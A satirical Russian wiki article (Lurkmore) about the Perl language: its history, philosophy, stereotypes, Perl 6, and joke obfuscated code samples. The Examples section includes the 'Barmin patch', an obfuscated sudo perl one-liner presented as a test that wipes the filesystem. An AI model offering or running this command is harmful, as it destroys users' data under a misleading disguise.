Perl

Материал из Lurkmore
Перейти к навигации Перейти к поиску
Типичная программа на Перле выглядит так, как будто программист бился головой об клавиатуру; и чаще всего оно так и есть

Анонимус

PHP — это маленькое зло, созданное некомпетентными новичками, в то время как Perl — это большое и коварное зло, созданное умелыми, но извращёнными профессионалами.

Jon Ribbens

Perl (Перл, тж. Пёрл, быдл. Перловка) — аццки упоротый язык программирования, написанный Ларри Уоллом в 1987 году изначально для работы с текстовой документацией. Состоит из ^регэкспов$ чуть менее, чем полностью, и это так и было задумано: код скрипта — обёртка над ними. Собственно Perl и является родителем современнных регэкспов — они так и называются, PCRE (англ. Perl-compatible regular expressions).

Замысел Ларри Уолла соответствует идеям, заложенным в Unix: данные попадают в stdin, пробегают через код и регекспы, и отгружаются в stdout. Казалось бы, ^[-.\w]+@(?:[a-z\d][-a-z\d]+\.)+[a-z]{2,6}$

История

Перл — 1) сокровище, драгоценность, нечто выдающееся в ряду подобных (перл создания) 2) нечто нелепое, смешное, бессмысленное, в частности нелепое высказывание

из песни слов не выкинешь, Педивикия однако!

Жил-был один веселый наркоман по имени Ларри Уолл. Жил — не тужил, курил козье дерьмо и языки разные изучал, пока не стукнуло в его умную голову придумать свой собственный язык… программирования. Забил свою трубку козьим калом, затянулся этот мэн и обозвал свое детище — Perl'ом. У некоторых возникает ассоциации со словом pearl, которое переводится как жемчужина. Они не ошиблись: сам автор называет свой язык жемчужиной. Perl — это аббревиатура, расшифровывающаяся как Practical Extraction and Report Language (практический язык для извлечения неведомой ебаной хуиты данных и составления отчетов), некоторые извращенцы (сам автор по «man perl») называют его Pathologically Eclectic Rubbish Lister (патологически эклектичный мусорный листер), более точный перевод Патологический разгребатель перемешанного мусора.

В Рашке также называется ПЕРДЛ, что расшифровывается от китайского «Почему Если Работает Делать Лучше», или, как говаривал, бывало, Дэн Сяопин, «Неважно, какого цвета кошка, лишь бы она ловила мышей».

Отлично подходит для нужд бородатых одминов и кулхацкеров. Первое, видимо, потому, что Perl частично унаследован от языка шелл-скриптов, а второе — потому, что больно хитрожопый. Ведь это именно на нём проще всего писать скрипты, которые позже будут собраны в цепочки вида:

первое-прогго | второе-прогго | третье-прогго | юниксовое-сортировко > вывод-сюда.csv 2> ошибки-туда.txt

Здесь текстовый вывод от первой проги передаётся на вход второй, она читает его и разбирает (с помощью рехекспоф), затем её текстовый вывод передаётся третьей проге и так далее, ну ты понел. В этом качестве Перл полезен, удобен и прекрасен, а писать такие скрипты на нём — прельстиво и тепло. В качестве среды разработки и выполнения web-скриптов он малопригоден и для описания бизнес-процессов изначально предназначен не был. Ну не был, и всё.

Философия

Корабль пустыни

Да, это он — Корабль пустыни

Афоризм, лежащий в основе Дао Perl’а, — TMTOWTDI — «There’s more than one way to do it» — «Есть более одного способа сделать это» и различные вариации на тему «Приятно быть важным, но куда важнее быть приятным» и снятия ограничений. Отсюда, следуя принципу TMTOWTDI, Perl (6) может прикинуться и пушистой змэйкой, так же эффективно выполняя тот же байт-код, оформленный более читаемо для питонщиков и иже с ними, ибо.

Маскотом Перла является верблюд с тех самых пор, как его изобразили на обложке первого издания книжки «Programming Perl». Неприхотлив, вынослив, благонадёжен. Любит сигареты Camel и шоколадки Picnic.

Может и оплевать, если захочет.

Стереотипы

До создания еретического Пыха был наиболее популярным языком для написания быдлоскриптов (счётчиков, гостевух и прочей хуиты) для быдлохоумпаг всяких Вась Пупкиных, не ведавших не то что про ООП, но даже про модуль CGI, и извлекавших переменные напрямую «руками» из QUERY_STRING[1]. Особой мерзостью были зачислители платежей и биллинговые системы… которые до вас переписывали и после вас будут переписывать ещё 50 тысяч раз.

Так что ещё лет 23 тому назад сабж из-за таких поклонников вполне себе мог считаться быдлокодерским языком. Все это вполне подтверждает здравую мысль, что языки считаются быдлокодерскими не из-за своих особенностей или структуры, а из-за безмозглых быдлокодеров, которые пишут на них свой быдлокод.

Примеры

Пример типичной программы на Perl.

`$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$",$;,$^,$#,$~,$*,$:,@%)=(
$!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$"),$=++;$.++;$.++;
$_++;$_++;($_,$\,$,)=($~.$"."$;$/$%[$?]$_$\$,$:$%[$?]",$"&$~,$#,);$,++
;$,++;$^|=$";`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`

Очевидно, что эта программа выводит строку «Just another Perl hacker.», в культуре Perl заменяющую собой классический «Hello, world!».

Однако если не заниматься дешёвым выпендрёжем, то эта же программка будет выглядеть вот так, таинственно и непонятно:

#!/usr/bin/perl
print "Just another Perl hacker.\n";

Другой типичный пример, иллюстрирующий богатые возможности Perl по визуальному программированию:

                                           $_='ev
                                       al("seek\040D
           ATA,0,                  0;");foreach(1..3)
       {<DATA>;}my               @camel1hump;my$camel;
  my$Camel  ;while(             <DATA>){$_=sprintf("%-6
9s",$_);my@dromedary           1=split(//);if(defined($
_=<DATA>)){@camel1hum        p=split(//);}while(@dromeda
 ry1){my$camel1hump=0      ;my$CAMEL=3;if(defined($_=shif
        t(@dromedary1    ))&&/\S/){$camel1hump+=1<<$CAMEL;}
       $CAMEL--;if(d   efined($_=shift(@dromedary1))&&/\S/){
      $camel1hump+=1  <<$CAMEL;}$CAMEL--;if(defined($_=shift(
     @camel1hump))&&/\S/){$camel1hump+=1<<$CAMEL;}$CAMEL--;if(
     defined($_=shift(@camel1hump))&&/\S/){$camel1hump+=1<<$CAME
     L;;}$camel.=(split(//,"\040..m`{/J\047\134}L^7FX"))[$camel1h
      ump];}$camel.="\n";}@camel1hump=split(/\n/,$camel);foreach(@
      camel1hump){chomp;$Camel=$_;y/LJF7\173\175`\047/\061\062\063\
      064\065\066\067\070/;y/12345678/JL7F\175\173\047`/;$_=reverse;
       print"$_\040$Camel\n";}foreach(@camel1hump){chomp;$Camel=$_;y
        /LJF7\173\175`\047/12345678/;y/12345678/JL7F\175\173\0 47`/;
         $_=reverse;print"\040$_$Camel\n";}';;s/\s*//g;;eval;   eval
           ("seek\040DATA,0,0;");undef$/;$_=<DATA>;s/\s*//g;(   );;s
             ;^.*_;;;map{eval"print\"$_\"";}/.{4}/g; __DATA__   \124
               \1   50\145\040\165\163\145\040\157\1 46\040\1  41\0
                    40\143\141  \155\145\1 54\040\1   51\155\  141
                    \147\145\0  40\151\156 \040\141    \163\16 3\
                     157\143\   151\141\16  4\151\1     57\156
                     \040\167  \151\164\1   50\040\      120\1
                     45\162\   154\040\15    1\163\      040\14
                     1\040\1   64\162\1      41\144       \145\
                     155\14    1\162\       153\04        0\157
                      \146\     040\11     7\047\         122\1
                      45\15      1\154\1  54\171          \040
                      \046\         012\101\16            3\16
                      3\15           7\143\15             1\14
                      1\16            4\145\163           \054
                     \040            \111\156\14         3\056
                    \040\         125\163\145\14         4\040\
                    167\1        51\164\1  50\0         40\160\
                  145\162                              \155\151
                \163\163                                \151\1
              57\156\056

Ещё куча подобных примеров

Существует другая популярная программа на Перле, реализующая патч Бармина. (спойлер: Предназначена для удаления всего, что сможет удалить.) и если вы её уже запустили, то вас совсем не жаль. Вот применение.

echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}
<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Некоторые особенности языка

  • Программы на Perl могут писаться на любых языках, например, на латыни или языке Древних. О написаніи программъ въ орѳографіи образца 1916-аго года покамѣстъ свѣдѣній нѣтъ.
  • Perl — один из немногих языков c поддержкой квантового исчисления.
  • Perl — единственный язык, вид программы на котором не меняется после ююканья.
  • Не описывается BNF
  • Многие скрипты гентушного portage написаны именно на нём. Местный пёрдл — это просто поле из граблей с автоподзаводом, он периодически выдает ошибки на ровном месте и прерывает компиляцию мира. Специально для борьбы с этим явлением злые гентушнеги придумали команду perl-cleaner.

Perl 6

Будущее Перла — Perl 6 (в это, по крайней мере, верит Создатель). Perl 6 существует в виде сферического в вакууме стандарта и допускает существование нескольких реализаций. Впервые про Него мир узнал в 2000 году и с переменным успехом знакомится и по сей день.

Наиболее полная реализация Perl 6 на данный момент — Rakudo, под MoarVM. Также есть пока неполная поддержка JVM.

Есть еще несколько проектов по реализации спеки языка, но они либо заброшены, либо не представляют собой ничего серьезного.

Дао Perl 6:

  1. Любой набор символов в любой кодировке является синтаксически правильным Perl 6 кодом.
  2. Всегда есть бесконечное количество различных способов сделать это.
  3. Любой человек, писавший до этого на любом языке, может сразу писать на Perl 6. Он может даже не догадываться, что пишет на Perl 6. Если, конечно, не будет забывать ставить 1; в конце модулей.
  4. Можно перегружать 1;. Можно перегружать пробелы. Можно перегружать сорц-фильтры с помощью регулярных выражений, которые тоже можно перегружать.
  5. Perl 6 имеет эталонную реализацию, написанную на Perl 6 и не способную быть выраженной ни на каком другом языке[2]. На Perl 6 эталонная реализация может быть выражена, но не за конечное время. Мы работаем над этим. Когда мы закончим, наступит Армагеддон (который тоже можно будет перегрузить).

1;

Свершилось

И спустя почти 15 лет наконец дождались! Ларри Уолл официально представил Perl 6. Для тех, кому Perl 5 был слишком прост в освоении, добавили паттерн-матчинг и ленивые списки (а если серьёзно, то первая реализация Perl 6 была написана на Haskell, что логично), творчески переосмыслили нафиг весь синтаксис, а возможность менять его как угодно сделали основной фичей языка. А вы думали рандомный набор символов, как синтаксически правильный перлокод — это просто такая шутка была?

В результате получилось нечто весьма стрёмное. Адептов у сей поделки чуть более, чем нет: ньюфагов отпугивает охренительный порог входа и отсутствие вакансий, олдфаги негодуют от того, что сходство с пятеркой оканчивается на названии и повальной любви к регуляркам. В сухом остатке имеем еще один язык, который никому, кроме своих создателей нафиг не нужен. Что в определенной степени прискорбно: сил на него было потрачено немало, да и светлые идеи имеются в немалом количестве.

Ссылки

Примечания

  1. Чему в немалой степени поспособствовали разошедшиеся по Сети и даже печати всякие «пособия по CGI-программированию», написанные быдлокодерами, кроме своей хоумпаги ничего не писавшими.
  2. Формальное доказательство, что Перл нельзя распарсить


w:Perl en.w:Perl ae:Perl

Loading comments...